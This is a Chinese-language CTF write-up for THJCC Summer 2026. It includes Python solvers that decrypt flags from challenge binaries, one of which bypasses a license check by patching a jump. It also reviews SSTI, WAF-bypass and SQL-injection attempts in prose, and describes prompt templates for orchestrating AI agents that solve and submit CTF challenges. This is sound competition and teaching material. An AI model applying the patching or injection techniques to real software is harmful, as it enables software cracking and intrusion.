 out.append(blob[i] ^ ((cl - 13) & 0xFF))
 out.append(blob[i + 1] ^ cl)
 cl = (cl + 0x1A) & 0xFF
 return out.decode()


def decode_config(hexcfg: str) -> bytes:
 hb = bytes.fromhex(hexcfg)
 out = bytearray()
 for i, b in enumerate(hb):
 k = ((HASH >> ((i * 8) & 0x18)) & 0xFF) ^ ((0x5A + 0x11 * i) & 0xFF)
 out.append(b ^ k)
 return bytes(out)


def parse_pcap(path: Path):
 data = path.read_bytes()
 off = 24
 msgs = []
 while off < len(data):
 _, _, incl, _ = struct.unpack("<IIII", data[off:off + 16])
 frame = data[off + 16:off + 16 + incl]
 off += 16 + incl
 sport, dport = struct.unpack(">HH", frame[34:38])
 msgs.append((sport, dport, frame[54:]))
 return msgs


def main():
 print("== flag (static blob, .rdata:0x140003080) ==")
 flag = decode_flag()
 print("FLAG:", flag)

 print("\n== protocol verification from traffic.pcap ==")
 for sport, dport, payload in parse_pcap(PCAP):
 print(f" {sport}->{dport}: {payload!r}")
 if payload.startswith(b"BFHELLO "):
 print(" -> handshake carries FNV-1a32(token) =",
 hex(int(payload[8:16], 16)), "(== 0xb700b632)")
 if payload.startswith(b"BF2:"):
 cfg = decode_config(payload[4:].strip().decode())
 print(" -> decoded config:", cfg)
 print(" -> note: exe requires 'directive=collect;' but this config has",
 "'directive=collect-only;' -> sandbox run ended 'configuration rejected'")

 print("\n== token property (not needed for flag) ==")
 print(" FNV-1a32(token) must equal 0xb700b632 (17-char token, unknown value)")


if __name__ == "__main__":
 main()

License Flag：THJCC{license_pipeline_rebuilt}

静态 license 校验器输入无关：flag = .rodata 常量（cl=0x7e 滚动，out[2k]=(cl-0x0d)^ro[2k], out[2k+1]=cl^ro[2k+1], cl+=0x1a）。

📜 License solve.py（46 行，核心 decrypt@3823）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


#!/usr/bin/env python3
"""THJCC Summer 2026 - License (Reverse, 144 pts)

license_v2 is a statically linked, stripped x86-64 ELF license checker.
The flag is NOT gated by knowing the license key: it is XOR-decrypted at the
success path purely from .rodata constants (0x200210..0x20022e). Any input
that passes the 24-byte comparison would print it; we simply decrypt it.

Success path (0x201bc3):
 cl = 0x7e
 for rax in 1, 3, ..., 31:
 out[rax-1] = (cl - 0x0d) ^ rodata[0x20020f + rax]
 out[rax] = cl ^ rodata[0x200210 + rax]
 cl += 0x1a
 out[31] = 0 ; write(out) -> 31-byte flag
"""
import sys

RODATA = bytes.fromhex(
 "2536c1dbe6c9d3a5ba839d736845575d312b37011be7d0eeccd4b6b9b19e8a"
) # 0x200210 .. 0x20022e (31 bytes)


def decrypt() -> str:
 out = bytearray(32)
 cl = 0x7E
 for k in range(16):
 out[2 * k] = ((cl - 0x0D) & 0xFF) ^ RODATA[2 * k]
 if 2 * k + 1 < 31:
 out[2 * k + 1] = cl ^ RODATA[2 * k + 1]
 cl = (cl + 0x1A) & 0xFF
 out[31] = 0
 return out[:31].decode()


if __name__ == "__main__":
 flag = decrypt()
 print(flag)
 if "--verify" in sys.argv:
 # End-to-end sanity: patch first `jne fail` (VA 0x201a40, file 0xa40)
 # into `jmp 0x201bc3` and run under docker/alpine.
 data = bytearray(open("license_v2", "rb").read())
 rel = 0x201BC3 - (0x201A40 + 5)
 data[0xA40 : 0xA40 + 6] = bytes([0xE9]) + rel.to_bytes(4, "little", signed=True) + b"\x90"
 open("license_patched", "wb").write(bytes(data))
 print("patched license_patched (run: docker run --rm -v $PWD:/mnt alpine /mnt/license_patched 0000-0000-0000-0000-0000-0000)")

404 / xorlocks Flag：THJCC{vm_bytecode_is_a_contract} / THJCC{xor_basics_are_not_magic}

404：2KB 手写字节码 VM，16 组同构检查 rol(input[i]^(0x20+i)+(0x07+3i), i%7)==target[i] （坑：i%7 非 i&7），flag 由 rodata 常量表生成与输入无关；xorlocks：从 ELF 节表读 .rodata 反推密码，成功路径异或出 flag。

📜 404 solve.py（38 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


# ==== 404-canary/solve.py ====
#!/usr/bin/env python3
"""THJCC CTF Summer 2026 - 404 (Reverse) one-shot solver.

Binary: 404 (ELF64 x86-64 static, custom 8-register bytecode VM).
VM program (0x121 bytes, reconstructed from .rodata movaps layout):
 for each input byte i: rol(input[i] ^ (0x20+i) + (0x07+3i), i%7) == target[i]
 on success, opcode at bytecode[0x120] prints the flag computed from a
 constant table (opcode-8 handler at 0x201615).
"""

def rol(b, n):
 n &= 7
 return ((b << n) | (b >> (8 - n))) & 0xff if n else b

def ror(b, n):
 n &= 7
 return ((b >> n) | (b << (8 - n))) & 0xff if n else b

# target constants from the 16 CMP instructions in the VM program
TARGETS = [0x5d, 0xac, 0x2a, 0xd2, 0xa6, 0x12, 0x58, 0x64,
 0xf6, 0x62, 0x63, 0x27, 0xce, 0x9c, 0x7e, 0x84]

# invert: rol(in ^ (0x20+i) + (0x07+3i), i%7) == TARGETS[i]
inp = bytes((ror(TARGETS[i], i % 7) - (0x07 + 3 * i)) & 0xff ^ (0x20 + i)
 for i in range(16))
print('input:', inp.decode())

# flag from the opcode-8 (PRINT_FLAG) handler at 0x201615:
# al starts 0x35, += 0x1a each round; out[2i] = (al-13)^key[2i], out[2i+1] = al^key[2i+1]
key = bytes.fromhex('7c7d080c1f1200eecfffd3c3a1b2b18f9d5a7b6c735819300f030ef5f5c2dac6')
out = bytearray(32)
al = 0x35
for i in range(16):
 out[2 * i] = (al - 13) & 0xff ^ key[2 * i]
 out[2 * i + 1] = al ^ key[2 * i + 1]
 al = (al + 0x1a) & 0xff
print('flag :', out.decode())

📜 xorlocks solve.py（67 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


# ==== xorlocks/solve.py ====
#!/usr/bin/env python3
"""THJCC Summer 2026 - xorlocks 一键复现

从 ELF 提取常量表，反推密码，还原成功路径打印的 flag；
有 docker 时自动在 Linux 容器内跑原二进制做动态验证。

用法: python3 solve.py [path/to/xorlock]
"""
import struct
import subprocess
import sys

ELF = sys.argv[1] if len(sys.argv) > 1 else "handout/xorlock"

data = open(ELF, "rb").read()

# 手工解析节表：.rodata 文件偏移 0x120 <-> VMA 0x200120
e_shoff = struct.unpack_from("<Q", data, 0x28)[0]
e_shentsize = struct.unpack_from("<H", data, 0x3a)[0]
e_shnum = struct.unpack_from("<H", data, 0x3c)[0]
secs = {}
for i in range(e_shnum):
 off = e_shoff + i * e_shentsize
 name, typ, flags, addr, sh_off, size = struct.unpack_from("<IIQQQQ", data, off)
 secs[addr] = (sh_off, size)

ro_off, ro_size = secs[0x200120]
ro = data[ro_off : ro_off + ro_size]

def b(vma):
 return ro[vma - 0x200120]

# 校验表 (0x200150, 20 字节) 与 消息表 (0x20016f, 32 字节)
t1 = [b(0x200150 + i) for i in range(20)]
t2 = [b(0x20016f + i) for i in range(32)]

# 密码: ((p[i] ^ 0x5A) + 3*i) & 0xff == t1[i] (i = 0..19)
password = "".join(chr(((t1[i] - 3 * i) & 0xFF) ^ 0x5A) for i in range(20))
print(f"[+] password: {password}")

# 成功消息: cl 从 0x40 起每轮 +0x1A; base[2k+1] = (cl-0x0d) ^ t2[2k+1], base[2k+2] = cl ^ t2[2k+2]
cl = 0x40
base = {}
for k in range(16):
 a = 2 * k + 1
 base[a] = ((cl - 0x0D) & 0xFF) ^ t2[a]
 if a < 0x1F:
 base[a + 1] = cl ^ t2[a + 1]
 cl = (cl + 0x1A) & 0xFF
flag = bytes(base[i] for i in range(1, 0x20)).decode()
print(f"[+] flag: {flag}")

# 动态验证（有 docker 时）
try:
 r = subprocess.run(
 ["docker", "run", "--rm", "-v", f"{__import__('os').path.abspath(ELF)}:/app/x:ro",
 "debian:stable-slim", "/app/x", password],
 capture_output=True, timeout=60,
 )
 out = r.stdout.decode().strip()
 if out == flag:
 print("[+] dynamic verify OK (docker): binary printed the flag, exit", r.returncode)
 else:
 print(f"[-] dynamic verify FAILED: got {out!r}, exit {r.returncode}")
except (FileNotFoundError, subprocess.TimeoutExpired):
 print("[*] docker unavailable/timeout — skip dynamic verify (static derivation already checked)")

Because There is no one Make Reverse So I Create This Chal Flag：THJCC{1_w0nd3r_h0w_l0n6_41_50lv35_17_>w<}

Mach-O arm64 自研 VM：XTEA 变体（双 sum）解密字节码 + FNV-1a 自校验，z3 求解 41 字节输入。

📜 Because… solve.py（205 行，核心 decrypt_program@4038 / run_vm@4089）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205


#!/usr/bin/env python3
"""THJCC Summer 2026 - "Because There is no one Make Reverse So I Create This Chal"
One-click solver:
 1. XTEA-variant keystream (two sums, w15=0 / w17=DELTA) XORed over __const -> VM program
 (708 bytes; the 89th block writes only its first 4 bytes -> bytes 0x2c0..0x2c3,
 which contain the final 0x5a END opcode).
 2. FNV-1a self-check over the 708 bytes (expect 0x4b9fb9f7, verified).
 3. Interpret the custom VM symbolically with z3 -> flag.
 4. Verify the candidate against the real binary.
"""
import sys
import struct
import subprocess
from pathlib import Path

DELTA = 0x9E3779B9
MASK32 = 0xFFFFFFFF
EXPECT_FNV = 0x4B9FB9F7

# --- VM opcodes (ip advance, semantics) ---
# 0x15: acc ^= imm (2) 0x18: acc += imm (2) 0x74: acc = ROL8(acc, imm&7) (2)
# 0xe5: acc -= imm (2) 0x97: idx = imm (2) 0xcd: len check (2)
# 0x86: acc = input[idx] (1 byte, NO operand)
# 0x8f: mismatch |= acc ^ byte-at-ip+1 (2)
# 0x5b: ip += imm + 2 0x5a: END, ok iff no mismatch


def xtea_encrypt_round(v0, v1, key, rounds=32):
 """XTEA variant from the ARM64 asm: TWO sums (w15 starts 0, w17 starts DELTA),
 each advanced once per round. v0 = counter word (w13), v1 = 0x1e403058 (w14)."""
 s1 = 0 # used by the v0 update: key[s1 & 3]
 s2 = DELTA # used by the v1 update: key[(s2 >> 11) & 3]
 for _ in range(rounds):
 v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s1 + key[s1 & 3]))) & MASK32
 s1 = (s1 + DELTA) & MASK32
 v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s2 + key[(s2 >> 11) & 3]))) & MASK32
 s2 = (s2 + DELTA) & MASK32
 return v0, v1


def fnv1a(data, h=0x811C9DC5):
 for b in data:
 h = ((h ^ b) * 0x1000193) & MASK32
 return h


def decrypt_program(binary: bytes) -> bytes:
 # __const section: vmaddr 0x100000b98, file offset 2968, size 0x2e4
 const = binary[2968:2968 + 0x2e4]
 # XTEA key = XOR of the two 16-byte blobs at const+0x2c4 / const+0x2d4
 k1 = const[0x2c4:0x2c4 + 16]
 k2 = const[0x2d4:0x2d4 + 16]
 key = struct.unpack('<4I', bytes(a ^ b for a, b in zip(k1, k2)))

 out = bytearray()
 for i in range(0, 0x2c4, 8):
 block_idx = i >> 3
 v0, v1 = xtea_encrypt_round((block_idx + 0xAFD9E340) & MASK32, 0x1E403058, key)
 ks = struct.pack('<I', v0) + struct.pack('<I', v1) # asm stores v0 first (LE), then v1
 nbytes = 4 if i == 0x2c0 else 8 # last block (x9==4) writes only bytes 0..3
 for j in range(nbytes):
 out.append(const[i + j] ^ ks[j])
 return bytes(out)


def disasm(prog: bytes):
 """Control-flow-following disassembler for the custom VM."""
 names = {
 0x15: 'acc ^= 0x{imm:02x}',
 0x18: 'acc += 0x{imm:02x}',
 0x5a: 'END (ok iff mismatch==0)',
 0x5b: 'JMP +{imm}',
 0x74: 'acc = ROL8(acc, {imm}&7)',
 0x86: 'acc = input[idx]',
 0x8f: 'CMP acc vs 0x{imm:02x}',
 0x97: 'idx = {imm}',
 0xcd: 'CHECK len == {imm}',
 0xe5: 'acc -= 0x{imm:02x}',
 }
 lines, ip = [], 0
 while ip < len(prog):
 op = prog[ip]
 if op == 0x5a:
 lines.append((ip, names[op])); break
 if op == 0x86:
 lines.append((ip, names[op])); ip += 1
 elif op in names:
 lines.append((ip, names[op].format(imm=prog[ip + 1])))
 if op == 0x5b:
 ip = ip + 2 + prog[ip + 1]
 else:
 ip += 2
 else:
 lines.append((ip, f'?? op 0x{op:02x}')); ip += 1
 return lines


def run_vm(prog, inp, symbolic=False):
 """Execute the VM. symbolic=False: plain emulation, returns (ok, trace).
 symbolic=True: build z3 constraints, returns the input bytes or None."""
 if symbolic:
 import z3
 s = z3.Solver()
 len_req = prog[1] # first instr is 0xcd len check
 inp_bv = [z3.BitVec(f'c{i}', 8) for i in range(len_req)]
 for c in inp_bv:
 s.add(c >= 0x20, c <= 0x7e)
 acc, idx, ip, ok = 0, 0, 0, True
 for _ in range(1417):
 op = prog[ip]
 if op == 0x15:
 acc = acc ^ prog[ip + 1]; ip += 2
 elif op == 0x18:
 acc = acc + prog[ip + 1]; ip += 2
 elif op == 0x74:
 sh = prog[ip + 1] & 7
 acc = (z3.RotateLeft(acc & 0xFF, sh)) & 0xFF; ip += 2
 elif op == 0xe5:
 acc = acc - prog[ip + 1]; ip += 2
 elif op == 0x86:
 acc = z3.If(idx < len_req, inp_bv[idx], 0); ip += 1
 elif op == 0x97:
 idx = prog[ip + 1]; ip += 2
 elif op == 0x8f:
 s.add((acc & 0xFF) == prog[ip + 1]); ip += 2
 elif op == 0xcd:
 ip += 2
 elif op == 0x5b:
 ip = ip + 2 + prog[ip + 1]
 elif op == 0x5a:
 break
 else:
 ok = False; break
 else:
 ok = False
 if not ok or s.check() != z3.sat:
 return None
 m = s.model()
 return bytes(m[c].as_long() for c in inp_bv)
 else:
 acc, idx, ip, ok = 0, 0, 0, True
 for _ in range(1417):
 op = prog[ip]
 if op == 0x15:
 acc = (acc ^ prog[ip + 1]) & 0xFF; ip += 2
 elif op == 0x18:
 acc = (acc + prog[ip + 1]) & 0xFF; ip += 2
 elif op == 0x74:
 sh = prog[ip + 1] & 7
 acc = ((acc << sh) | (acc >> (8 - sh))) & 0xFF; ip += 2
 elif op == 0xe5:
 acc = (acc - prog[ip + 1]) & 0xFF; ip += 2
 elif op == 0x86:
 acc = inp[idx] if idx < len(inp) else 0; ip += 1
 elif op == 0x97:
 idx = prog[ip + 1]; ip += 2
 elif op == 0x8f:
 if acc != prog[ip + 1]:
 ok = False
 ip += 2
 elif op == 0xcd:
 if len(inp) != prog[ip + 1]:
 ok = False
 ip += 2
 elif op == 0x5b:
 ip = ip + 2 + prog[ip + 1]
 elif op == 0x5a:
 return ok
 else:
 return False
 return False


def main():
 chal = Path(__file__).parent / 'handout' / 'chal' / 'chal'
 binary = chal.read_bytes()
 prog = decrypt_program(binary)
 print(f'program len={len(prog)} fnv1a = {fnv1a(prog):#010x} (expect {EXPECT_FNV:#010x})')
 if fnv1a(prog) != EXPECT_FNV:
 print('WARN: FNV mismatch - decryption wrong?')
 sys.exit(1)

 with open(Path(__file__).parent / 'vm_disasm.txt', 'w') as f:
 for ip, text in disasm(prog):
 f.write(f'{ip:#04x}: {text}\n')
 print(f'disasm written (vm_disasm.txt), {len(disasm(prog))} instructions')

 cand = run_vm(prog, None, symbolic=True)
 if cand is None:
 print('UNSAT'); sys.exit(1)
 print(f'z3 candidate: {cand!r}')
 print(f'z3 candidate: {cand.decode()}')

 r = subprocess.run(['./handout/chal/chal'], input=cand + b'\n',
 capture_output=True, cwd=Path(__file__).parent)
 print(f'binary verdict: {r.stdout.decode(errors="replace").strip()!r} (exit {r.returncode})')

 r2 = subprocess.run(['./handout/chal/chal'], input=b'THJCC{test}\n',
 capture_output=True, cwd=Path(__file__).parent)
 print(f'control (wrong flag): {r2.stdout.decode(errors="replace").strip()!r}')
 return cand


if __name__ == '__main__':
 main()

TeaGod.exe Flag：THJCC{h77p5://p4s73b1n.com/R58uv133}

MinGW 膜拜程序，首次点击解 36 字节奖励串；GetTickCount()&0xff 双异或恰好抵消是动态分析陷阱。

📜 TeaGod.exe solve.py（53 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#!/usr/bin/env python3
"""THJCC Summer 2026 - TeaGod.exe (Reverse, 241 pts) - flag extractor.

Static reverse of the reward decryption in TeaGod.exe (MinGW-w64 Win32 GUI).

How it works (from disassembly of TeaGodNote WndProc @ 0x140001d50):
 Clicking "WORSHIP TEA GOD" (button id 0x1001) on a TeaGodNote popup:
 - increments the worship counter (global 0x1400080c8, shown as
 "Worship count: N" in the main window)
 - kills the 0xcafe popup timer, destroys all popup windows
 - decrypts the reward string and opens the "REWARD UNLOCKED" window
 (class TeaGodReward) with the flag in an EDIT box + COPY button.

Decryption (at 0x140001e74..0x140002073):
 1. Three 12-byte ciphertext chunks pointed to by the table at
 rdata 0x140005210 -> 0x1400051e6 / 0x51f2 / 0x51fe.
 2. Per-chunk key bytes at rdata 0x140005228: [0xa7, 0x3c, 0xd1].
 intermediate[chunk*12 + i] = (cipher[chunk][i] - (25 + 7*i)) ^ key[chunk]
 3. Byte-stream key "hc_ehsna" (8 bytes, embedded as movabs immediate).
 final[i] = intermediate[i] ^ key2[(1 + 3*i) & 7]
 (a GetTickCount()&0xff byte is XORed in and out twice -> cancels, it is
 pure obfuscation to mislead dynamic analysis)

No runtime needed. Usage: python3 solve.py [TeaGod.exe]
"""
import sys

def main(path: str) -> str:
 data = open(path, "rb").read()

 # PE section layout (fixed for this binary)
 rdata_va, rdata_raw = 0x140005000, 0x4000
 def off(va: int) -> int:
 return rdata_raw + (va - rdata_va)

 cipher = b"".join(
 data[off(va): off(va) + 12]
 for va in (0x1400051E6, 0x1400051F2, 0x1400051FE)
 )
 chunk_keys = [data[off(0x140005228) + i] for i in range(3)]
 key2 = b"hc_ehsna"

 intermediate = bytearray()
 for ch in range(3):
 for i in range(12):
 intermediate.append((cipher[ch * 12 + i] - (25 + 7 * i)) & 0xFF ^ chunk_keys[ch])

 flag = bytes(intermediate[i] ^ key2[(1 + 3 * i) & 7] for i in range(36))
 print(flag.decode())
 return flag.decode()

if __name__ == "__main__":
 main(sys.argv[1] if len(sys.argv) > 1 else "TeaGod.exe")

三、六道未解题复盘

The Archivist（Web 500，5 轮，全场 0 解）。击杀链打到 SSTI 执行层（自研 wasm 签名 → 实体编码绕 WAF → v2 引擎渲染），但引擎精确定性为 stock jinja2 ≥3.1.6 SandboxedEnvironment：CVE-2025-27516 已修、151+198 个 filter 候选全灭、 108 个变量名全 stock、format-spec 下标活口在 stock globals 下不闭合。隐藏端点 /api/export?file= 的签名掺了客户端不可推导的服务端 secret（~95 消息格式变体全 403）。没有 0day 的话这题就是不可解的，和全场 0 解的结果对得上。

Buggy web（Web 500，7 轮，全场 0 解）。官方 hints 点明密码字段拼 SQL，DB 还有休眠函数，但 ~350 payload × 8 个观测维度（内容/状态码/长度/md5/cookie/重定向/ 时延/崩溃）全部恒定。反证：/post?id=大int 会 500（OverflowError 不吞）而 login 从不 500 → password 进的是结果被丢弃的查询（疑登录审计 INSERT），黑盒结构性无 oracle。时延通道第 8 次用交错 A/B 对照证伪：LB 的限速 stall 和 SLEEP(1) 的信号长一个样。赛后方向：注入点在登录后功能（评论区 + 审核流）。

CTFxck（Misc 456，12 解，10 轮）。CTFuck esolang，要写一个不超过预算的程序去处理 stdin 噪声。三轮教训递进：①预算口径最终钉死为程序总字节 ≤111 含换行（第 6 轮 “换行不计费"只测过单行程序）；②假阳性级联：超预算的程序一律被自动 nope，历史上那些"已测结论"成片作废，甚至堆出"stdin 有 UTF-16 文本区"的幻觉假设（三个真跑的程序空输出把它证伪）；③判定只对正常退出的程序给出。度量口径错误会污染之后每一轮。

Shifting v2（Misc 499，3 解）。密码层 100% 破解并双向验证：base64 → 27 个平假名+苏州数字 → 码点末两位 hex 十进制 + chr(V+24) + 字母 ROT-4 → 唯一明文 https://pastebin.com/D15r3g。paste 全程 404（8 小时内五次核查），Wayback / archive.today / 搜索引擎全无快照，附件哈希未换。3 个解出全在 08-15 paste 存活的窗口期。外部资源死亡 ≠ 解题失败。

All night long（Misc 259，30 解）。一段 14 秒的音频：外段两段不同乐句（Shazam 18 变体不识别 = 梗曲 remix 不入库），中段 67ms 波形数码复制 59 次（stutter 特效制作手法，频谱逐位相同排除逐字符编码）。卡在需要人耳认歌。

Minecraft???（Forensics 481，9 解）。服务器明令禁自动化工具，需要真人 MC Java 1.21.11 客户端进 mc.pg72.tw 找讲台书。

四、反思

编排式的甜与苦。主 agent 不进单题细节，上下文全程干净，46 题从 08-15 傍晚打到终局不乱；但"验收"靠的是子 agent 的回报，这次用平台 solved_by_me 复核加产物目录抽查兜住了。子 agent 自己更新总表出现过两次编辑竞态，最后统一成"子 agent 只写题目目录、总表由主 agent 收口”。

度量口径先于一切。CTFxck 十轮里最贵的错误不是任何一次 payload，而是"预算计量单位"搞错了。口径差一代，后面所有实验的判定成片作废，还能反向堆出幻觉假设。任何"超过 X 就拒绝"的黑盒约束，边界实验必须覆盖计量单位的所有维度。

统计分析的盲区要靠感知兜底。Welcome 的单帧单字符、Afterimage1 的孤立帧，都是统计管道全绿、人眼或多模态一眼就能看出来的题。这次把三道感知题打包外送 GPT，附带交接文档（已知事实、假阳性记录、输出格式），中了 2/3。交接文档写得好不好，直接决定外援效率。

假阳性要有对照组。Buggy web 的时延 oracle 三次"命中"全被交错 A/B 对照证伪（LB stall 与 SLEEP 同形）。连续 3/3 复现也可能只是整个窗口都在 stall。

穷尽也是一种产出。三道未解的穷尽型题目（Archivist 5 轮 / Buggy web 7 轮 / CTFxck 10 轮）每轮的排除面、新原语、语义修正都落盘了。赛后拿官方 writeup 来对，这些是最值钱的对照材料。

结尾

40/46（Crypto、Pwn、Rev、Welcome 全清），4504 分，排名 14。deepseek-v4-flash 与 GLM-5.3 五个主会话接力编排（模型归属逐段核自会话运行记录）、138 个子 agent 流水线（flash 68 / GLM 70，合计 6850 请求）、GPT 两次多模态出手、主 agent 两道本地快题。完整的题解过程（每题 WRITEUP、全部脚本、CTFxck 十轮断点、Buggy web 七轮矩阵）在本地题目目录里，每题一个文件夹。能带走的东西写进了方法论文档：炸栈指纹、孤立帧差分、Ghost Bits、假阳性级联、时延对照纪律，五节（对应题目：Canary Notes、Afterimage1、SimpleNotes、CTFxck、Buggy web）；另 Reverse 四题的 cl+0x1A 滚动异或套路见 Reverse 节横联。

附录：任务编排模板首版全文（08-15 16:52 注入主会话）

第一节引用的「任务编排模板首版全文」原样附在此处；提交锁/实例锁的废除、并行度 6→3 回落等修订史见第一节（prompt 对照表 + 纪律）。当前修订版存于作者技能库 prompttemplate/ctfhunterprompt.txt。

真实派单示例（gaslightCTF 2026 的 4-piece-puzzle，与 THJCC 同骨架）

派单 prompt 是模板「阶段 2」的具体化：题目情报 + 模型能力边界 + 工作纪律 + 回报格式四块。以下为真实派单全文（机器本地绝对路径已掩码为 <工作目录>）：

📜 真实派单示例（gaslightCTF 2026 4-piece-puzzle）（20 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


你是 CTF 解题子 agent，负责解 gaslightCTF 2026 的 forensics 题 **4-piece-puzzle**（484 分，40 人已解）。

## 题目情报
- 题目页：https://play.gaslightctf.cooking/challenges/4-piece-puzzle
- 题面：**"these fou-fou-four puzzle pieces are my favourite colours! excuse the stutter."** —— 四块拼图 + 颜色（"my favourite colours"）+ 口吃（fou-fou-four = 4-4-4？"these fou-fou-four"可能暗示 4×4 或 444）
- 附件（已预下载）：`<工作目录>/4-piece-puzzle/puzzle_pieces.zip`（71468 字节）
- 思路起点：解压看内容（4 张拼图片？）。纯图像算法处理：颜色直方图/主色提取、拼图边缘匹配拼接、按颜色排序。"favourite colours"提示 flag 可能由**颜色序列编码**（如每块主色 → 字母/数字），拼接顺序即 flag。"fou-fou-four"可能提示 4 块 × 4 面 或 444。先 `unzip -l` + 图像信息（尺寸/模式/主色）。
- **重要边界**：当前模型无视觉能力。若解题只靠**像素/颜色数值分析**（提取主色、边缘匹配、直方图）可以继续；若卡在"需要人眼理解图像内容/语义"（看图认字、识别图形），**立即停止**，写 notes.md 断点（含已提取的颜色/结构数据）回报，不要硬耗。

## 工作纪律
1. 工作目录：`<工作目录>/4-piece-puzzle/`（中间产物放这里，禁 /tmp）。
2. 浏览器：`agent-browser --profile Default --session agent16`。打开题目页 → 填 flag 到 textbox → Submit Flag。
3. 判对信号：提交后 Solves 计数 +1 或 Submit Flag 表单消失。提交间隔 sleep 2s；判错继续，变体 ≤5 次。
4. 落盘：`WRITEUP.md`（五段式）+ `solve.py`（可复现）。被否尝试记边界。
5. 时间盒 30-40 分钟；无进展回报卡点。
6. 保密：实例地址/凭据不写入任何文档（本题无实例）。
7. **不要修改比赛总表 README.md**（主 agent 统一更新）。

## 回报格式（最后消息）
结论（解出/未解/卡点-是否视觉瓶颈）+ flag + 平台判定信号 + WRITEUP 路径 + 下一步建议。

📜 任务编排模板首版全文（44 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


# 任务：CTF 全量刷题（主 agent 编排模式）

## 任务参数（换比赛/平台只改这一块；平台特定事实以实际为准，开工先侦察确认）
- 平台挑战列表：https://ctf2026-sum.thjcc.org/challenges（登录态复用 Chrome Default profile）
- 产物根目录：`THJCCCTF2026summer/`，一题一个文件夹，禁止放 tmp 或仓库根目录
- 浏览器入口：`agent-browser --profile Default`（`open → wait → snapshot -c -i → click @ref / fill 'input'`），不换 profile
- 判对信号（THJCC 实测示例，勿套用到其他平台）：提交成功提示 + 页面已解计数 +1；判错为错误提示。新平台开工先提交观察一次，把实际信号补录进本块
- 实例机制（以平台实际为准，勿预设互斥/超时）：有无实例、可否多开、生命周期各不相同；开工先确认并补录本块。实例地址不写入任何文档
- 方法论：`ctf-solver` skill（Skill 工具加载；未注册则读用户提供的技能文件路径），其 references/ 含六类题型模式文档、工具手册、payload 速查
- 环境：编程环境齐备；缺轮子按序 pip 装进项目 `.venv`（Python 3.11.11）→ brew → GitHub 检索源码安装，装完立即验证可执行；脚本兼容 macOS bash 3.2（`${VAR}` 花括号、禁数组）

## 通用规则（平台无关，跨比赛复用）

### 角色分工
- 主 agent 不亲自解任何题，只做：侦察题目列表、排序派单、提交结果验收、总表汇总；不重复提交 flag。
- 每题派一个 general-purpose 子 agent，单题过程不进主上下文。
- **并行度：同时最多 3 个子 agent 解题，题型不限**；需实例的题由子 agent 自行按平台机制启动/回收实例（实例地址从题目页获取）。总表更新只由主 agent 做，子 agent 不写总表。

### 阶段 1：侦察与排序（主 agent，轻量）
1. 打开挑战列表页，提取每题：名称、分类、分值、解出数、有无源码/附件。
2. 盘点产物根目录已有文件夹：有 WRITEUP 且 flag 已提交确认的视为完成（跳过），未完成的排入队列，不重复建目录。
3. 排序启发式（依次满足）：
 a. 非多模态优先于多模态依赖（读图/听音/视频内容才可推进的题标记待办最后做；LSB/binwalk/OCR/whisper 等纯工具可解的不算多模态依赖，按普通题做）；
 b. 有源码优先于纯黑盒；
 c. 同条件下先做解出数多、分值低的题（难度代理指标）。
4. 总表写入 `<根目录>/README.md`（挑战|分值|考点|flag|状态），逐题更新。

### 阶段 2：逐题派单（子 agent 执行，并行度 ≤3）
派单 prompt 固定骨架，自包含注入：题目名/链接/分类/描述 + 有无源码与附件路径 + 实例信息（如需，由子 agent 自行启动获取）+ 排序理由 + 以下纪律：

1. 按需加载 ctf-solver skill 按主循环走：读题 → 按分类加载对应模式文档 → 构造利用 → 有本地可复现部分先本地打通再打远程，纯黑盒直接远程打点。
2. 浏览器操作一律 `agent-browser --profile Default`。
3. 落盘纪律：`WRITEUP.md` 五段式（挑战概述→侦察结论→攻击链→复现→修复建议）；有脚本解法必写 `solve.py/solve.sh`（不写死实例地址）；调试产物（probe.py/notes.md）保留复盘价值；被否掉的尝试记一句边界（为什么不通）。
4. 保密纪律：实例 hostname、临时凭据不写入任何文档；实例地址变化后回题目页重新获取。
5. 时间盒：单题上限 30 分钟，连续 15 分钟无新进展即回报主 agent 决策（换题/加时/换思路），不无限耗。
